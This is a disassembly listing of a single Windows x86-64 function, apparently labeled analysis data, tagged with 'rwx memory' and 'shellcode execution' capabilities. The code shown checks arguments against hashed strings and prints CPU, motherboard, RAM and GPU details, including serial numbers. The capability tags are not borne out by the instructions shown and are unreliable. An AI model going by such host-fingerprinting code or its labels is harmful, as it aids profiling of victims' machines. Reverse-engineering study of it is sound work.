Function at 0x140010990
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x170]
sub rsp, 0x270
mov rax, qword [0x14006e060]
xor rax, rsp
mov qword [rbp + 0x160], rax
mov r12, rdx
movsxd rbx, ecx
xor r14d, r14d
lea rdx, str.f3d38784de191e5c07960c8ccbbc0d73fc08467f0003d148a543575a9b7106c8
lea rcx, [rbp + 0xa0]
call fcn.140005f10
nop
lea rdx, str.c43f477d61a2f327fc691cdc367604a89d6735590151dc378befbd7fce31d089
lea rcx, [rbp + 0xc0]
call fcn.140005f10
nop
lea rdx, str.7e5d520fb27bd4afa437d0ae50450d31102f843abde6fc6fe7762ee96c8b7186
lea rcx, [rbp + 0xe0]
call fcn.140005f10
nop
lea rdx, str.ea061497a00a4149ed653230128cf1be16e279a428613d52d2991048551227eb
lea rcx, [rbp + 0x100]
call fcn.140005f10
nop
lea rdx, str.c4f1ed75f5956da410e52acc363ec3b8fd049598c8a760cb56d86568f57a5117
lea rcx, [rbp + 0x120]
call fcn.140005f10
nop
lea rdx, str.d9027ac5907ec616052fabc223bb5383998f0ac222728a42c4836f05282fc40f
lea rcx, [rbp + 0x140]
call fcn.140005f10
nop
mov r13d, 1
mov qword [rsp + 0x28], rbx
cmp r13, rbx
jge 0x140010bfc
add r12, 8
lea r15, [r14 - 1]
nop word [rax + rax]
mov rdi, r14
lea rbx, [rbp + 0xa0]
nop word [rax + rax]
mov rdx, qword [r12]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], r14
mov r8, r15
inc r8
cmp byte [rdx + r8], 0
jne 0x140010a96
lea rcx, [rbp - 0x80]
call fcn.140006ad0
nop
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x40]
call fcn.140010690
nop
mov rdx, rax
lea rcx, [rbp - 0x20]
call fcn.1400107d0
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x140010ad1
mov rdx, qword [rbx]
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140010adf
mov rax, qword [rax]
cmp r8, qword [rbx + 0x10]
jne 0x140010af6
mov rcx, rax
call fcn.140024f40
test eax, eax
jne 0x140010af6
mov sil, 1
jmp 0x140010af9
xor sil, sil
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140010b34
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010b2f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013cb9
call fcn.140022500
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x140010b8a
mov rdx, qword [rbp - 0x30]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010b79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013cbf
call fcn.140022500
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r14
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140010bc5
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010bc0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013cc5
call fcn.140022500
test sil, sil
jne 0x140010bdd
inc rdi
add rbx, 0x20
cmp rdi, 6
jl 0x140010a80
jmp 0x140010bea
mov rbx, qword [r12]
test rbx, rbx
jne 0x14001201e
inc r13
add r12, 8
cmp r13, qword [rsp + 0x28]
jl 0x140010a70
mov ecx, 0x20
call fcn.140022508
mov qword [rsp + 0x38], rax
mov rcx, rax
call fcn.14000ae60
mov rbx, rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r14
lea r9, [rax + 8]
mov rcx, qword [r9]
sub rcx, qword [rax]
movabs rax, 0xa3d70a3d70a3d70b
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov r8, rbx
lea rcx, [rbp - 0x40]
call fcn.14000b4f0
nop
lea rdx, str.This_computer_has
lea rcx, [0x1400702f0]
call fcn.140014830
mov edx, dword [rbx + 0x18]
mov rcx, rax
call fcn.140007b80
mov rcx, rax
lea rdx, str._CPU_s__installed
call fcn.140014830
mov rcx, rax
call fcn.140014790
mov rdi, qword [rbp - 0x40]
cmp rdi, qword [rbp - 0x38]
je 0x140011117
add rdi, 0x20
nop dword [rax + rax]
lea rdx, str.Information_for_CPU_
lea rcx, [0x1400702f0]
call fcn.140014830
mov edx, dword [rdi + 0xa0]
inc edx
mov rcx, rax
call fcn.140007b80
mov rcx, rax
lea rdx, [0x140063b2c]
call fcn.140014830
mov rcx, rax
call fcn.140014790
lea rdx, str.CPU_Name_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi - 0x20]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140010d6c
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010d67
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d19
call fcn.140022500
lea rdx, str.CPU_Manufacturer_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
mov rdx, rdi
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140010ded
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010de8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d1f
call fcn.140022500
lea rdx, str.Number_of_CPU_Cores_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi + 0x20]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140010e6f
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010e6a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d25
call fcn.140022500
lea rdx, str.Current_CPU_Clock_Speed_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rbp - 0x60]
lea rcx, [rdi - 0x20]
call fcn.140004040
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x140010ea1
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140010ef0
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010eeb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d2b
call fcn.140022500
lea rdx, str.CPU_Architecture_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi + 0x40]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140010f72
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010f6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d31
call fcn.140022500
lea rdx, str.CPU_L2_Cache_Size_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi + 0x60]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140010ff4
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010fef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d37
call fcn.140022500
lea rdx, str.CPU_L3_Cache_Size_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi + 0x80]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140011079
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011074
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d3d
call fcn.140022500
lea rdx, str.Current_CPU_Temperature_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rbp - 0x60]
call fcn.1400045b0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x1400110a7
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1400110f6
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400110f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d43
call fcn.140022500
lea rcx, [0x1400702f0]
call fcn.140014790
add rdi, 0xc8
lea rax, [rdi - 0x20]
cmp rax, qword [rbp - 0x38]
jne 0x140010cb0
mov ecx, 0x20
call fcn.140022508
mov qword [rsp + 0x28], rax
mov rcx, rax
call fcn.140016b10
mov rsi, rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r14
lea r9, [rax + 8]
mov rcx, qword [r9]
sub rcx, qword [rax]
movabs rax, 0xc30c30c30c30c30d
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov r8, rsi
lea rcx, [rbp - 0x20]
call fcn.140017080
nop
lea rdx, str.This_computer_has
lea rcx, [0x1400702f0]
call fcn.140014830
mov edx, dword [rsi + 0x18]
mov rcx, rax
call fcn.140007b80
mov rcx, rax
lea rdx, str._motherboard_s__installed
call fcn.140014830
mov rcx, rax
call fcn.140014790
mov rdi, qword [rbp - 0x20]
cmp rdi, qword [rbp - 0x18]
je 0x1400114b4
add rdi, 0x20
nop dword [rax]
nop word [rax + rax]
lea rdx, str.Information_for_motherboard_
lea rcx, [0x1400702f0]
call fcn.140014830
mov edx, dword [rdi + 0x80]
inc edx
mov rcx, rax
call fcn.140007b80
mov rcx, rax
lea rdx, [0x140063b2c]
call fcn.140014830
mov rcx, rax
call fcn.140014790
lea rdx, str.Motherboard_Name_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi - 0x20]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14001128c
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011287
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d49
call fcn.140022500
lea rdx, str.Motherboard_Manufacturer_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
mov rdx, rdi
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14001130d
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011308
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d4f
call fcn.140022500
lea rdx, str.Motherboard_Chipset_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi + 0x20]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14001138f
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001138a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d55
call fcn.140022500
lea rdx, str.Motherboard_Serial_Number_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi + 0x40]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140011411
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001140c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d5b
call fcn.140022500
lea rdx, str.Motherboard_Version_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi + 0x60]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140011493
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001148e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d61
call fcn.140022500
lea rcx, [0x1400702f0]
call fcn.140014790
add rdi, 0xa8
lea rax, [rdi - 0x20]
cmp rax, qword [rbp - 0x18]
jne 0x1400111d0
mov ecx, 0x20
call fcn.140022508
mov qword [rsp + 0x58], rax
mov rcx, rax
call fcn.14001e7a0
mov r12, rax
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r14
lea r9, [rax + 8]
mov rcx, qword [r9]
sub rcx, qword [rax]
movabs rax, 0xf83e0f83e0f83e1
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov r8, r12
lea rcx, [rsp + 0x40]
call fcn.14001ed10
nop
lea rdx, str.This_computer_has
lea rcx, [0x1400702f0]
call fcn.140014830
mov edx, dword [r12 + 0x18]
mov rcx, rax
call fcn.140007b80
mov rcx, rax
lea rdx, str._RAM_stick_s__installed
call fcn.140014830
mov rcx, rax
call fcn.140014790
mov rdi, qword [rsp + 0x40]
cmp rdi, qword [rsp + 0x48]
je 0x1400119d4
add rdi, 0x20
nop
lea rdx, str.Information_for_RAM_stick_
lea rcx, [0x1400702f0]
call fcn.140014830
mov edx, dword [rdi + 0xe0]
inc edx
mov rcx, rax
call fcn.140007b80
mov rcx, rax
lea rdx, [0x140063b2c]
call fcn.140014830
mov rcx, rax
call fcn.140014790
lea rdx, str.RAM_Name_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi - 0x20]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14001161c
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011617
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d67
call fcn.140022500
lea rdx, str.RAM_Manufacturer_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
mov rdx, rdi
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14001169d
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011698
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d6d
call fcn.140022500
lea rdx, str.RAM_Capacity_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi + 0x20]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14001171f
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001171a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d73
call fcn.140022500
lea rdx, str.RAM_Serial_Number_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi + 0x40]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1400117a1
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001179c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d79
call fcn.140022500
lea rdx, str.RAM_Form_Factor_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi + 0x60]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140011823
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001181e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d7f
call fcn.140022500
lea rdx, str.RAM_Part_Number_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi + 0x80]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1400118a8
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400118a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d85
call fcn.140022500
lea rdx, str.RAM_Memory_Type_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi + 0xa0]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x14001192d
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011928
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d8b
call fcn.140022500
lea rdx, str.RAM_Clock_Speed_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi + 0xc0]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1400119b2
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400119ad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d91
call fcn.140022500
lea rcx, [0x1400702f0]
call fcn.140014790
add rdi, 0x108
lea rax, [rdi - 0x20]
cmp rax, qword [rsp + 0x48]
jne 0x140011560
mov ecx, 0x20
call fcn.140022508
mov qword [rsp + 0x60], rax
mov rcx, rax
call fcn.14000e550
mov r13, rax
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r14
lea r9, [rax + 8]
mov rcx, qword [r9]
sub rcx, qword [rax]
movabs rax, 0x63e7063e7063e707
imul rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov r8, r13
lea rcx, [rbp + 0x20]
call fcn.14000ebe0
nop
lea rdx, str.This_computer_has
lea rcx, [0x1400702f0]
call fcn.140014830
mov edx, dword [r13 + 0x18]
mov rcx, rax
call fcn.140007b80
mov rcx, rax
lea rdx, str._GPU_s__installed
call fcn.140014830
mov rcx, rax
call fcn.140014790
mov rdi, qword [rbp + 0x20]
cmp rdi, qword [rbp + 0x28]
je 0x140011f78
add rdi, 0x20
nop dword [rax]
lea rdx, str.Information_for_GPU_
lea rcx, [0x1400702f0]
call fcn.140014830
mov edx, dword [rdi + 0x120]
inc edx
mov rcx, rax
call fcn.140007b80
mov rcx, rax
lea rdx, [0x140063b2c]
call fcn.140014830
mov rcx, rax
call fcn.140014790
lea rdx, str.GPU_Name_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi - 0x20]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140011b3c
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011b37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d97
call fcn.140022500
lea rdx, str.GPU_Manufacturer_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
mov rdx, rdi
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140011bbd
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011bb8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013d9d
call fcn.140022500
lea rdx, str.GPU_Caption_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi + 0x20]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140011c3f
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011c3a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013da3
call fcn.140022500
lea rdx, str.GPU_Adapter_RAM_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi + 0x40]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x140011cc1
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140011cbc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140013da9
call fcn.140022500
lea rdx, str.GPU_Refresh_Rate_
lea rcx, [0x1400702f0]
call fcn.140014830
mov rbx, rax
lea rdx, [rdi + 0x60]
lea rcx, [rbp - 0x80]
call fcn.140005f50
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x70]
mov rcx, rbx
call fcn.140014f90
mov rcx, rax
call fcn.140014790
nop
